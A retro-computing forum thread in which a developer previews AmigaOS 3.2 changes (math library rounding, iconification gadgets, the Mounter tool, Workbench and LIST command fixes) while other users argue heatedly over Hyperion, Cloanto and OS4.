Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 06, 2019, 07:52:07 PM
I don’t see anything bad about Cloanto taking over, only a lot of positive things.
Another fanboy then, as expected.
Title: Re: Os 3.2 development preview
Post by: Neuf on December 07, 2019, 05:26:48 AM
@kolla
You say you don't see anything bad about Cloanto taking over.  I must say I beg to differ with you. Firstly, Cloanto has made it abundantly clear that if they win the court case 3.1.4 will be discarded. He has said this quite publicly on numerous occasions,and very firmly I might add. There are a few other things he has said that have my eyebrows on the ceiling. I won't go into detail at this time. Hyperion has not done much right in the last twenty years,but 3.1.4 is by far and away the most important.  In fact they have almost rectified the damage they have done in the past.

I fully understand your loathing of Hyperion.  I think you and I are very close to being on the same page in this regard.  OS 4.x is a terrible mess. A-Eon brought in Warp 3D and warp 3D Nova as well to deal with RTG graphics. They are bringing in Enhancer software to improve the OS as well.  The problem with Enhancer is that many of its features should have been in the OS in the first place. SMP should have been done in 2012, if not sooner. I could go on and on on the defects in OS 4.x,but since this is about OS 3.2, I'll leave it at that. Cloanto I must tell you is no better than Hyperion.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 07, 2019, 07:46:51 AM
Another day, another component. Or some of them, in a bundle. Math libraries.

3.1.4. created the "magic math libraries" that rebuild themselves if a FPU becomes available later in the livetime of the system, .e.g. through setpatch, though there was still something odd about them: The rounding convention.

The math libraries (singbas, doubbas and the corresponding "trans" libs) all follow a "round towards zero" strategy in software, and similarly, set the FPU - if present - to round in the same direction. This gives consistent results, though it is - as far as the math is concerned - not ideal as it will loose precision.

3.2 changes that and follows a strict "round to even" rounding policy, which is a better and more precise rounding mode. It means that it tries to round to the nearest number if rounding is required, and in case of a tie, it rounds to the next number with the LSB set as zero. It can then be shown that under such conditions the output of the computation is identical to the output that had been obtained by computing with infinite precision, followed by round-to-even, which is a nice result. IOWs, you cannot possibly round better.

There is one exception, and that is the "convert float to int" function of the math libraries. They continue to round to zero. There are two reasons for that: First, because the C standard says so, and second, because some programs depend on it, for example the (really naive) floating point to text conversion (i.e. "printf %g") of the Aztec compiler.

Now, it seems easy just to configure the FPU such that it follows a different rounding convention. While the math libraries certainly do that, all the CPU only implementation *also* has to change, and this was a tremendous task. So every function in the "bas" libraries was touched, and the code to adjust the digits for rounding was modified to implement a proper "round to even" strategy. Multiply, add, subtract, division, square root.

The libraries were then verified for correctness by the "Paranoia test", which is a numerical unit test that checks for corner cases of the implementation, and checks for proper rounding. Again, running a test sounds harmless, but bear in mind that the test is in C, is compiled with SAS/C, and SAS/C does not support IEEE single precision numbers. So, the first step was to get the test working on the ieeesingbas library, and then to get the libraries working correctly, which took another two weeks of work.

Final result now: While the old libraries returned an "acceptable result" with some "numerical flaws" due to improper rounding, the new libraries pass all numerical tests with "excellent". So, no numerical flaws left in the math department, and the CPU output is identical to the FPU output.

mathffp (math.library and mathtrans.library) remain in the sad state they have been before. Unfortunately, there is little we can fix here because the number format is just broken. There are no infinities, there are no NaN ("not a number"), there is no gradual underflow (no "denormalized numbers"), so for any kind of numerics, stay away from this math library.

The only reason why it is still in ROM despite its sad state is that some software may depend on it early on booting (still to be available), but mathffp is one of my prime candidates to be thrown out in the future. It's bad numerical quality, beyond fixing. The code quality is fine - hand optimized assembler, coming directly from Motorola - but that doesn't help if it doesn't compute right.

Title: Re: Os 3.2 development preview
Post by: kolla on December 07, 2019, 11:56:32 AM
I don’t see anything bad about Cloanto taking over, only a lot of positive things.
Another fanboy then, as expected.
If I was a fan boy, you would think I also favour their products, but I don’t. I bought Amiga4Ever way back when I was still a little involved with bttr, but mostly for the extras, and I also bought their “personal” collection, but that was it, I always found their Amiga software awkward to use, and their attempt to recreate windowsish registry nuts.

But this is not about “pro Cloanto” as much as it is about being against Hyperion, I have said all along that there will have to be another “back to scratch” development from 3.1 once the nonsensical legal situation is cleared up, and I am fine with that, especially since the current development is going very much in a wrong direction IMO. If Hyperion “win”, OS3 will be in same state as OS4 within very short time.

Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 07, 2019, 12:01:45 PM
especially since the current development is going very much in a wrong direction IMO.
So what's wrong about the direction?
Title: Re: Os 3.2 development preview
Post by: LiveForIt on December 07, 2019, 03:12:39 PM
Quote
Concerning iconification, intuition gets a new first class citicizen window gadget you can request to get added to your window, and this is the iconification gadget. WFLG_ICONIFY enables it. If the user presses on the gadget, intuition sends an IDCMP_CLOSEWINDOW with a "CODE=1" instead of CODE=0 to the application, which can then react accordingly. All the system tools, preferences, utilities and the console window use it to iconify themselves on the workbench.

This sound like a really bad idea, so everyone that enable that will have there programs crashing when adding WFLG_ICONIFY,
way not do it like its done in AmigaOS4, make it compatible use IDCMP_GADGETUP, what is the point of updating AmigaOS3.x is you’re are not making it compatible.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 07, 2019, 03:27:41 PM
This sound like a really bad idea, so everyone that enable that will have there programs crashing when adding WFLG_ICONIFY,
Can you please tell me why anything should crash?  Nothing crashes here.

way not do it like its done in AmigaOS4,
Os4 doesn't have a window flag to add an iconification gadget at all. The iconification gadget is a second-class citizen there.

make it compatible use IDCMP_GADGETUP, what is the point of updating AmigaOS3.x is you’re are not making it compatible.
Can you tell me why the close gadget is a first class system gadget and iconification should not?
Title: Re: Os 3.2 development preview
Post by: nbache on December 07, 2019, 04:20:38 PM
@LiveForIt:

Quote
This sound like a really bad idea, so everyone that enable that will have there programs crashing when adding WFLG_ICONIFY
If I understand it correctly, it is the programmer who requests the new gadget in his setup code by means of WFLG_ICONIFY.

The same programmer who then of course makes his code ready to receive the new CODE=1 value and react accordingly.

All other programs do not request the new feature and will therefore only receive the already known IDCMP_CLOSEWINDOW value (when the window close gadget is used).

That sounds to me like a pretty solid design.

Best regards,

Niels
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 07, 2019, 04:29:34 PM
I should probably add that you can still create iconification gadgets the same way as Os 4 did it, so no harm is done.

It is just much more complicated: You create a sysiclass boopsi image of the right type, then create a struct Gadget, then fiddle the gadget into the title bar of the window, then react on the IDCMP_GADGETUP.

Yes, you can still do that, and it works, of course. It is just a lot more complicated than just telling intuition right away what you want. Intuition then takes responsibility to allocate the gadget and to release it.
Title: Re: Os 3.2 development preview
Post by: LiveForIt on December 07, 2019, 07:20:21 PM
Well maybe it will not crash, maybe the program just terminate unexpected, if the event is not handled as you suggest. Well it’s more complicated to write the same code two times one for 3.x and one for 4.x, I don’t see how that’s easier, my impression of boobsi system is that all window gadgets are buttons, including resize, close button, window back, window front etc,
Title: Re: Os 3.2 development preview
Post by: LiveForIt on December 07, 2019, 07:27:43 PM
Quote
That sounds to me like a pretty solid design.
Are you joking? He is going to break the design, just to break it.
WFLG_ICONIFY is flag that exist today that you will always get a IDCMP_GADGETUP event, doing it differently and now you have incompatible code.

it’s just like scroll wheel thing its different for the sake of being different.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 07, 2019, 07:41:32 PM
I don’t see how that’s easier, my impression of boobsi system is that all window gadgets are buttons, including resize, close button, window back, window front etc,
You still do not understand. The system gadgets *are* not boopsis. They use boopsis for the gadget images, but do so since Os 3.0. CloseWindow does not send a GAGETUP, so why should Iconify?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 07, 2019, 07:47:17 PM
Are you joking? He is going to break the design, just to break it.
WFLG_ICONIFY is flag that exist today that you will always get a IDCMP_GADGETUP event, doing it differently and now you have incompatible code.
Pardon my ignorance, but WLFG_ICONIFY does not exist in AmigaOs 4.0.  What AmigaOs 4.x offers is an ICONIFYIMAGE, which is a boopsi derived from the sysiclass boopsi that renders the iconification gadget imagery. As I already explained, this does not change. This boopsi continues to exists in 3.2, under the same ID.
There is also the reaction window.class which offers iconification. Iconification with the window.class works exactly as it did before, except that the window class internally uses now WLFG_ICONIFY instead of fiddling its custom gadget into the title bar.

it’s just like scroll wheel thing its different for the sake of being different.

Not at all. Ported Os 4 programs will just work, as the sysiclass ID of the iconification image is as before. But writing programs that support iconification becomes much simpler as you do not have to create the gadget yourself.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on December 07, 2019, 07:58:26 PM
Some ideas, maybe stupid:
Can there be a way to invoke the border scrollers and arrows in a similar way, by adding WFLG_WBborderscrolls or something?
And, on another topic, is it possible to implement a late-mount for devices that has been powered up while the system is already running, and are not swappable?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 07, 2019, 08:04:44 PM
Can there be a way to invoke the border scrollers and arrows in a similar way, by adding WFLG_WBborderscrolls or something?
Scrollers are probably not quite as generic as the remaining system gadgets, so I do no t yet see them as such useful.

And, on another topic, is it possible to implement a late-mount for devices that has been powered up while the system is already running, and are not swappable?
Yes, is possible and already done. I'm just not there yet with the update report. SYS:System contains a new tool "Mounter" that will do that. It will also use the new ACTION_DIE to safely shut down running file systems. That is, all the changes to the FFS became necessary to make the "Mounter" design more robust.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on December 07, 2019, 08:07:30 PM
Just to be clear: it is not like the old Mounter that mounts partitions, but a real mounter that scans the bus(ses) again?

Regarding the border scroll gadgets:
it is about the images. if i dont have to take care of the appearance it would be much easier to add those gadgets, whatever idcmps they may deliver.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 07, 2019, 09:43:11 PM
The mounter does scan the bus, but whether the underlying device is willing to recognize a physical device that had been added after booting the system is, unfortunately, up to the device and beyond control of the mounter. There are typically vendor-specific tools that trigger such a rescan at device level as there is no generic interface for it.
Title: Re: Os 3.2 development preview
Post by: kolla on December 08, 2019, 07:57:52 AM
@TribbleSmasher

Why not just use “ACTIVE=0” (or was it ACTIVATE, aka MOUNT iirc) in the mount entry? Because you need to rescan the bus?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 08, 2019, 08:23:09 AM
More news, today on the workbench.

First, a couple of bugs we had discovered. In case you have an assign that, for some reason, became part of the hidden device list, the workbench would show and hide this assign "as if it would be a device" every second, so it would pop up, then vanish, then pop up again. This happened if you used the HappyEnv-handler, had ENV: removed from the workbench, but then changed that to an assign later on (probably because RAM: can handle this smoothly now anyhow and the Env-Handler is no longer needed).

Then, if the workbench was reopenend, the repositioning of the "left-out" icons was not quite correct as icons were placed such that they became visible, but the icon text was potentially not, i.e. it could happen that the icon text was beyond the edge of the (smaller) new screen.

Concerning re-opening the workbench, there is another small change in IPrefs which lists now the titles of the windows that block the workbench from re-opening. This is hopefully more useful than to say "please close all windows", without knowing what the windows are.

Another bug was which devices the workbench scanned for inserted disks as the logic is here quite strange. The workbench makes a list of devices (not volumes) at start-up time, but this list is never refreshed later on. That is, if you mount a device later, you'll get a volume icon for the device, but the workbench does not show the device icon if the device is not formatted - so it depended on the mount time of a device whether the workbench checked or not. This changed now, the workbench also adds new devices it discovers during its running time.

We also had bugs in displaying the file size of files larger than 2GB in the "view by file name" view. They were also sorted incorrectly if you sorted by size. Strange, I would have believed I fixed all these signed/unsigned bugs in 3.1.4, but this one was left over.

We also have new features as the window title bar can now be freely configured, including a couple of strings that list free memory, graphics memory (as before), version, revision, CPU model, largest free memory block, percentage of free memory, FPU model, MMU model, and probably some other things I forgot.

Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on December 08, 2019, 11:27:21 AM
Files are allowed to be bigger than 2GBytes? Never knew this. :o
Title: Re: Os 3.2 development preview
Post by: kolla on December 08, 2019, 11:56:26 AM
@kolla
You say you don't see anything bad about Cloanto taking over.  I must say I beg to differ with you. Firstly, Cloanto has made it abundantly clear that if they win the court case 3.1.4 will be discarded. He has said this quite publicly on numerous occasions,and very firmly I might add. There are a few other things he has said that have my eyebrows on the ceiling.

I don't really see this as a bad thing, I see this as a necessity.

Quote
but 3.1.4 is by far and away the most important.  In fact they have almost rectified the damage they have done in the past.

Not at all, I disagree - OS3.1.4 (and this new 3.2) now shows all signs of falling in the same path as OS4 - how is that a good thing?

It was supposed to be a bugfix and update of 3.1, instead it pulls in components from 3.5/3.9 as well as OS4 and introduces tons of new bugs and issues.

To make matters worse, many of these bugs are in the kickstart chips that still are being sold.

3.1.4.1 fixes many, but far from all these bugs, and 3.1.4.1 will be the last "free update", as 3.2 will be another product, and one with a vast amount of changes that go well beyond what OS 3.9 did, more and more becoming "OS 4 for 68k". Which brings me to...
Quote
OS 4.x is a terrible mess
Exactly.
Title: Re: Os 3.2 development preview
Post by: nbache on December 08, 2019, 12:10:25 PM
@Thomas Richter:

Quote
IPrefs which lists now the titles of the windows that block the workbench from re-opening
Oh, sweet! Wonder why nobody has thought of doing this before. Guess we just got immune to this old annoyance over the decades.

(Off to write an enhancement BZ for OS4 ;-)).

Best regards,

Niels
Title: Re: Os 3.2 development preview
Post by: kolla on December 08, 2019, 01:19:42 PM
Guess we just got immune to this old annoyance over the decades.
Speaking of... Workbench menu, would be nice if "Update all" not just re-position icons in open windows, but also the icons on the Workbench desktop.
Title: Re: Os 3.2 development preview
Post by: CBH on December 08, 2019, 02:00:48 PM
OS4 is a pile of steaming shit (and i have a copy of it), but I don't think it's fair to compare the new 3.x development to it yet. Maybe heading that way (wanting reaction etc) but not yet.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 08, 2019, 02:38:18 PM
I don't really see this as a bad thing, I see this as a necessity.
And why is that? And what is wrong with the direction?

It was supposed to be a bugfix and update of 3.1, instead it pulls in components from 3.5/3.9 as well as OS4 and introduces tons of new bugs and issues.
As in "which"? Just to give you ideas, what is wrong with a printer.device that prints correctly, an animation datatype that multitasks correctly and a CD file system that supports UDF? All these components came somehow into 3.1.4 through integration of 4.x components, just ,reviewed and bug-fixed to the amount necessary.

The 3.x series is a very conservative approach to the development, quite unlike 3.9 was and much less than 4.x attempted to be.

In fact, you really bewilder me: At the one hand, you ask for experimental components like 4-way adapter support, which we cannot test to the amount necessary to make it a product as robust as I would like to have it, at the other hand, you deny any development of components you don't appreciate and that are not even central to the Os experience. For example, the GUI will still be gadtools-based, thus rather lightweight, so why do you speak so hateful about reaction as it does not impact you at all. It may, however, improve the experience of other users that wait to have it.

You seem to have a very one-sided view on the development. "Only what I want, everything else is shit". The truth is that every Os development is a matter of compromises. Here it is "well, some people want reaction, so let's deliver it, but bind it very lightly into the Os, so we don't ruin the experience on low end machines".

I don't know what is wrong about this.



To make matters worse, many of these bugs are in the kickstart chips that still are being sold.
Oh, worse, Cloanto sells 3.1 ROMs or 3.x ROMs ("developped without a license" (tm)) with even more bugs in it. Why isn't that bad? I believe it is actually worse, selling the old shit again, with the old bugs in it.

We all understand, and you should appreciate this as well, that with a small developer group and - more important  - a small group of beta-testers, our means are limited, yet we try the very best to fix what we broke. In 3.2, the System-Startup was designed to limit the impact of ROM bugs as many RAM components can be upgraded from disk without requiring the installation of a new ROM, and without requiring a reboot.


3.1.4.1 fixes many, but far from all these bugs, and 3.1.4.1 will be the last "free update",
Apparently, you know more about the 3.1.4 updates than I do.


as 3.2 will be another product, and one with a vast amount of changes that go well beyond what OS 3.9 did, more and more becoming "OS 4 for 68k".
I'm not quite sure what you mean. Don't you think it is necessary to advance the 3.x line a bit? It is a less radical update than 3.9, the GUI stays pretty much the same. Though what is wrong with a GUI that is no longer based on topaz.8, without the complexity of reaction? What is bad about iconification gadgets in system tools? What is wrong with windows you can drag out of the screen? What is wrong with TAB-expansion in the Shell?

None of these changes are radical, just slight tweaks, without impacting the overall "feel" of the Amiga.


Which brings me to...
Quote
OS 4.x is a terrible mess
Exactly.
I do not know, and I do not care too much. The reason why I don't care about 4.x is that I never understood what a re-development of a retro-os on another outdated CPU platform is supposed to become. I do not understand AROS for the same reason. If I would develop an Os from scratch, I would certainly not re-implement all the design errors of AmigaOs from scratch - so what's the point? There are better open portable operating systems than Amiga.

The only point in the 3.x development is to get rid of the "rough edges" of 3.1 and to integrate functionality into the Os that was otherwise provided by patches and hacks, with all the instabilities these provide. This is not about "creating a new operating system for 68K", because if I would want that, I would certainly not start from something as absurd as AmigaOs.

Title: Re: Os 3.2 development preview
Post by: rxxic on December 08, 2019, 03:19:46 PM
OS4 is a pile of steaming shit (and i have a copy of it),

why, all so often, such exaggerations?   
Title: Re: Os 3.2 development preview
Post by: LiveForIt on December 08, 2019, 04:09:49 PM
I checked my source code, and your right there is no WFLG_ICONIFY in AmigaOS4.x.
But if it’s done on AmigaOS3.x it be nice to see the same changes on AmigaOS4.x so do not have to work different incompatibilities.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on December 08, 2019, 04:21:33 PM
You could already build it in and wait for support in the future.
Title: Re: Os 3.2 development preview
Post by: LiveForIt on December 08, 2019, 04:26:39 PM
Files are allowed to be bigger than 2GBytes? Never knew this. :o

32-bit. This means that the number is represented by 32 separate one’s and zero’s. 32 bits of 2 possible states = 2^32=4,294,967,296 possible values.

Integer meaning that only whole multiples of one are accepted.

Signed meaning that negative values are accepted. This halves the number of possible positive values (roughly), so the largest number you can represent is 2^31–1=2,147,483,647, but instead of 0, the smallest number you can represent is -2,147,483,648. An unsigned 32-bit integer, by contrast, can represent anything from 0 to 4,294,967,295.

Using unsigned int32 is a minor improvement over old design, as it only gives you 1 more bit compared to signed int32, and now you allowed to use full 32 bits instead of only 31 bits as used before, the problem however is that does not give the possibility to make ISO of 32GB hard drive. So my complaint here is that they did not add support for large files (64bit large files), like AmigaOS4.x has. That’s also another incompatible way to solve it, and it does solve it fully..
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 08, 2019, 04:28:28 PM
I checked my source code, and your right there is no WFLG_ICONIFY in AmigaOS4.x.
But if it’s done on AmigaOS3.x it be nice to see the same changes on AmigaOS4.x so do not have to work different incompatibilities.

The sources are on the AmigaOs subversion. Whoever from the Os 4 team wants to pick them up from there, or ask questions about its implementation, is certainly welcome to do so.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 08, 2019, 04:38:38 PM
So this minor improvement over old design, as it only gives you 1 more bit, and now you allowed to use full 32 bits instead of only 31 bits as used before, the problem however is that does not give the possibility to make ISO of 32GB hard drive. So my complaint here is that they did not add support for large files (64bit large files), like AmigaOS4.x has. That’s also another incompatible way to solve it, and it does solve it fully..
It's worse than that. There is no guarantee that files larger than 2GB will work as it all depends on how careful the file systems are implemented. For example, Read() returns a LONG (which is a signed number), so you cannot read more than 2GB in one go (where to? There is no Amiga with more than 2GB memory). Seek() takes a LONG offset, and returns a LONG offset, so you can seek at most +/- 2GB in one go. If you need to seek for larger distances, you need to seek in multiple runs, and whether that works is again a matter of the file system.

The FFS surely does not support anything longer than 4GB. The CDFS may, I hope, but I haven't tested. If a file is longer than 4GB, it shows the maximum size, but you can seek within it, and read it sequentially, provided you find a DVD reader you can fit into the Amiga. Crossdos cannot handle anything larger than 4GB.

The trouble is really that the structures that are used to commucate with the file system, e.g. struct FileInfoBlock, are not prepared to handle larger sizes. The file size is there a LONG (though, as it does not make sense to have a negative size, it is used as ULONG....) This is a left-over from the BCPL legacy that has only one data type, and that is the LONG (BPTRs are just cell-offsets in a memory array represented as sequence of 32-bit signed integers). Actually, BCPL is a type-less language.

Thus, if you'd want to have larger files, you would need to enhance the interface of the dos.library, and the file systems underneath, and the programs using such structures.

Frankly, I have only little hope that an extension is a viable approach at this time. We're not getting fresh programs or new filing systems, leave alone the computing power or main memory, so it would be mostly an academic exercise to make such extensions.

I consider this as a SEP at this moment (a somebody else's problem). Not important enough to worry about.
Title: Re: Os 3.2 development preview
Post by: LiveForIt on December 08, 2019, 04:50:13 PM
OS4 is a pile of steaming shit

It pretty good, but I do have few complaints. But all products that being developed has bugs and issues, but most issues I see posted are not issues at all, they things that are posted by MorphOS and AROS supporters who are not using AmigaOS4.x. The biggest complaint I see from users, is the fact that AmigaOS4.x can detect bugs; GRIM Repair is an asset not a problem. Replacing guru mediation with something can pin point where the bug is, is the best thing that has happened to AmigaOS, sadly not everyone see that.
Title: Re: Os 3.2 development preview
Post by: spotUP on December 08, 2019, 04:56:27 PM
Hi! Would it be possible to implement an option to hide .hidden unix files?
It’s very annoying these days working with files on a usb stick that came from a mac etc. So much clutter.
 
Title: Re: Os 3.2 development preview
Post by: Tygre on December 08, 2019, 07:50:35 PM
It was supposed to be a bugfix and update of 3.1, instead it pulls in components from 3.5/3.9 as well as OS4 and introduces tons of new bugs and issues.
...
In fact, you really bewilder me: At the one hand, you ask for experimental components like 4-way adapter support, which we cannot test to the amount necessary to make it a product as robust as I would like to have it, at the other hand, you deny any development of components you don't appreciate and that are not even central to the Os experience. For example, the GUI will still be gadtools-based, thus rather lightweight, so why do you speak so hateful about reaction as it does not impact you at all. It may, however, improve the experience of other users that wait to have it.
...

It's what bullies like Kolla do: angry if you do, angry if you don't.

Thomas, thank you for your great explanations and amazing work! :)
Title: Re: Os 3.2 development preview
Post by: CBH on December 08, 2019, 09:29:32 PM
OS4 is a pile of steaming shit

It pretty good, but I do have few complaints. But all products that being developed has bugs and issues, but most issues I see posted are not issues at all, they things that are posted by MorphOS and AROS supporters who are not using AmigaOS4.x. The biggest complaint I see from users, is the fact that AmigaOS4.x can detect bugs; GRIM Repair is an asset not a problem. Replacing guru mediation with something can pin point where the bug is, is the best thing that has happened to AmigaOS, sadly not everyone see that.

My perception of it is from 4.1FE on Classic. It's an abysmal experience, I have no idea why they insist on supporting hardware that is much too slow to use it properly. Actually, supporting is a bit much because the damn thing wouldn't boot unless I removed it's broken fastata driver. Running it was nothing but an exciting way to make my 1200T run out of ram.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on December 09, 2019, 02:00:49 AM
. In 3.2, the System-Startup was designed to limit the impact of ROM bugs as many RAM components can be upgraded from disk without requiring the installation of a new ROM, and without requiring a reboot.

Looking forward to 3.2 and looking forward to the "no reboot"! 3.5, 3.9, 4.x all require a reboot and so this will be nice to have an easier up-gradable "ROM" built into the system.  Thanks Thomas.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 09, 2019, 05:22:04 AM
Looking forward to 3.2 and looking forward to the "no reboot"! 3.5, 3.9, 4.x all require a reboot and so this will be nice to have an easier up-gradable "ROM" built into the system.  Thanks Thomas.
Just to get this right: Installation of 3.2 on top of any other system with software only *will* require a reboot. However, once you have a 3.2 ROM chip, many - but not all - components can be upgraded without a new ROM and without a reboot.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 09, 2019, 05:31:45 AM
More components: Commands in C.

As said before, the C: commands now respect the error output, so you can redirect errors to a separate file with "*>". By default, ">" redirects both, error output and regular output, to avoid compatibility problems, but you can separate the error messages out.

The LIST command: Well, lists the directory contents. A couple of fixes and changes:

- If the list command found a directory name that looked like a wildcard, it took this name as wild card to match for listing its contents. This is really a bizarre bug that was caused due to the way how list handles its recursion.
- Speaking of recursion, "list" allocated its stack for directory recursion for unknown reasons from MEMF_CHIP, not MEMF_ANY.
- LFORMAT did not prepare its output in a way that is compatible to the shell syntax. That is, if directory or file names were found that contained asterisks or quotes, those asterisks or quotes are now escaped if lformat prints the arguments within quotes.
- It is unfortunately a bit more tricky with file names listed that contain wild cards, i.e. file names that contain # or ? because *some* AmigaDos commands *do* parse wildcards, and some *do not*, so list cannot really guess for which sort of command the output shall be formatted. I'm still looking for a solution for this. There will probably be a command line switch to escape wildcards optionally.
- The LFORMAT keyword accepted %s for the file name, but not %S. Otherwise, all format options are case insensitive, but %s was not.

Then, we have one new command line argument for list, namely "FLAT". If this is given, then LFORMAT does not enter a directory if the given argument is a directory.
Title: Re: Os 3.2 development preview
Post by: kolla on December 09, 2019, 06:34:18 AM
- If the list command found a directory name that looked like a wildcard, it took this name as wild card to match for listing its contents. This is really a bizarre bug that was caused due to the way how list handles its recursion.

Quote
- LFORMAT did not prepare its output in a way that is compatible to the shell syntax. That is, if directory or file names were found that contained asterisks or quotes, those asterisks or quotes are now escaped if lformat prints the arguments within quotes.

Quote
Then, we have one new command line argument for list, namely "FLAT". If this is given, then LFORMAT does not enter a directory if the given argument is a directory.

Sheesh, who is that person who reports and requests such obscure features.
Title: Re: Os 3.2 development preview
Post by: kolla on December 09, 2019, 06:41:58 AM
My perception of it is from 4.1FE on Classic. It's an abysmal experience, I have no idea why they insist on supporting hardware that is much too slow to use it properly. Actually, supporting is a bit much because the damn thing wouldn't boot unless I removed it's broken fastata driver. Running it was nothing but an exciting way to make my 1200T run out of ram.
Emulators are nice. I have OS4.1FE on my A3000/CSPPC/CVPPC (and what... 640MB RAM?), but due to the Roadshow component having ancient bugs that were fixed on Roadshow/68k years and years ago, it cannot reliably go online. It really sucks that Olsen cannot update Roadshow for OS4. This is the type of scenario I expect to arrive on 68k OS3 as well - authors having updates, but Hyperion having zero interest in organizing "boingbags" and publishing them.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on December 09, 2019, 07:07:49 AM
One thing I've noticed with list is a different behavior when listing a directory versus listing the filename in the directory, when a new file is currently getting copied by workbench into that directory:

1) Listing the directory containing the new file, I don't get any DOS errors and everything is fine.
2) Listing the file in the directory by itself, I get a "No information for <filename>: object is in use"

Title: Re: Os 3.2 development preview
Post by: kolla on December 09, 2019, 07:54:30 AM
I don't really see this as a bad thing, I see this as a necessity.
And why is that? And what is wrong with the direction?

It is clearly a legal necessity, since code has been trickling down from OS4. Right?

(Unless a certain entity buys out entire Hyperion - who knows, that would solve a lot)

You already know what I find wrong with the current direction, so no need to answer that again. Especially since all you do with any answer I give is to call me a "hater" and question my mental health. 

Quote
what is wrong with a printer.device that prints correctly, an animation datatype that multitasks correctly and a CD file system that supports UDF? All these components came somehow into 3.1.4 through integration of 4.x components, just ,reviewed and bug-fixed to the amount necessary
Nothing wrong with that per se, but by nilly-willy pulling in OS4 components, the legal situation of the code gets even more entangled.
Quote
The 3.x series is a very conservative approach to the development, quite unlike 3.9 was and much less than 4.x attempted to be.
Unlike 3.9? Really. I don't find 3.5 and 3.9 to be very "radical" compared to 3.1, nothing fundamental was changed. With 3.2 there will be quite a few fundamental changes though, like system-startup, loading kickstart components from disk and setting up various devices pre-boot.

Quote
In fact, you really bewilder me: At the one hand, you ask for experimental components like 4-way adapter support, which we cannot test to the amount necessary to make it a product as robust as I would like to have it

And this bewilders me - IDEFix97 is named this for a reason - it came about in 1997 - it is more than 20 years ago. And support in other operating systems came along within a few years. And as it turns out, OS3.9 and OS4 also has had support all along... so, is it really experimental? Or do you prefer to name anything you have not had any hands-on experience with "experimental"?

How can it be, that the AmigaOS team is lacking so much in terms of hardware?

And refrain from using emulators as test cases?? This is _exactly_ what makes WinUAE so extremely useful, it has pretty much accurate emulation of _tons_ of Amiga hardware - and then the OS developers refuse to touch it? I find this ridiculous!

Quote
, at the other hand, you deny any development of components you don't appreciate and that are not even central to the Os experience. For example, the GUI will still be gadtools-based, thus rather lightweight, so why do you speak so hateful about reaction as it does not impact you at all. It may, however, improve the experience of other users that wait to have it.
"hateful"? You should save your superlatives to the times when they are truly needed.

Regarding the Reaction classes, I have two issues
* they are not the most efficient, nor the visually prettiest, often looking out of place
* more importantly - they are now considered Hyperion property and part of the "arsenal" against a better future.

Quote
You seem to have a very one-sided view on the development. "Only what I want, everything else is shit".
No, "anyone free to have whatever anyone wish" is what I would prefer.

Quote
To make matters worse, many of these bugs are in the kickstart chips that still are being sold.
Oh, worse, Cloanto sells 3.1 ROMs or 3.x ROMs ("developped without a license" (tm)) with even more bugs in it. Why isn't that bad? I believe it is actually worse, selling the old shit again, with the old bugs in it.

Old bugs that are _well known_ - which makes a huge difference.

Quote
We all understand, and you should appreciate this as well, that with a small developer group and - more important  - a small group of beta-testers, our means are limited, yet we try the very best to fix what we broke.
Your resources are limited by choice - you could have tons more beta-testers (and more hardware available) if you chose a different approach.

And again I recommend to make a release candidate or two available in the wild for public testing at least for a month or two before burning and selling kickstart chips - it would _REALLY_ help a lot.

Quote
In 3.2, the System-Startup was designed to limit the impact of ROM bugs as many RAM components can be upgraded from disk without requiring the installation of a new ROM, and without requiring a reboot.
I do not mind rebooting, I don't know why so many care so much, makes me wonder if their systems are so unstable that boot time is so important. For me it is more important that systems are easy to debug, that they don't do unexpected things (like picking up some random ROM component from a filesystem that owner is using as download area)

Quote
3.1.4.1 fixes many, but far from all these bugs, and 3.1.4.1 will be the last "free update",
Apparently, you know more about the 3.1.4 updates than I do.
Well, if you know different, then please feel free to elaborate.
I have seen people asking if there will be a 3.1.4.5 or so, but no answer has been given as far as I have seen, so...

Quote
as 3.2 will be another product, and one with a vast amount of changes that go well beyond what OS 3.9 did, more and more becoming "OS 4 for 68k".
I'm not quite sure what you mean. Don't you think it is necessary to advance the 3.x line a bit?

Necessary? Not at all - cool, but not necessary. But that was not what I was writing, was it - I was writing that what is presented here, with this 3.2 line, is much more of a change over 3.1 than what OS3.5 and 3.9 ever was.

Quote
It is a less radical update than 3.9, the GUI stays pretty much the same.

The "GUI" was not changed in 3.9 either, less so, as it was still good old 3.1 Intuition.

Now we have Intuition.library v45 - based on original sources and rewritten from scratch, as the OS4 advert says... :)

OS3.5/3.9 with Reaction classes was not a dramatical change over OS3.1 with ClassAction, with exception of Workbench and ASL Prefs, one could still use old 3.1 Prefs programs if that was needed.

The only really radical changes about 3.5/3.9 was Workbench with AREXX support - which 3.1.4 and 3.2 also has, and explicit need for 020 on certain components - most annoyingly the resource.library.

Quote
Though what is wrong with a GUI that is no longer based on topaz.8, without the complexity of reaction?

Nothing - I welcome this. Too bad it will be entangled with Hyperion legalese.

Quote
What is bad about iconification gadgets in system tools?
That remains to be seen - depends how it behaves in certain corner cases.

Quote
What is wrong with windows you can drag out of the screen?
Well, I prefer this turned off, as it does not fit with my "workflow" where I often push windows to the screen border, or resize against a screen border. I would very much prefer to set qualifier that I can hold if I wish to drag windows off-screen. Also, without being able to have windows larger than screen, I really see very little use for it at all.

Quote
What is wrong with TAB-expansion in the Shell?
Nothing, it should have been there twenty-odd years ago.

Quote
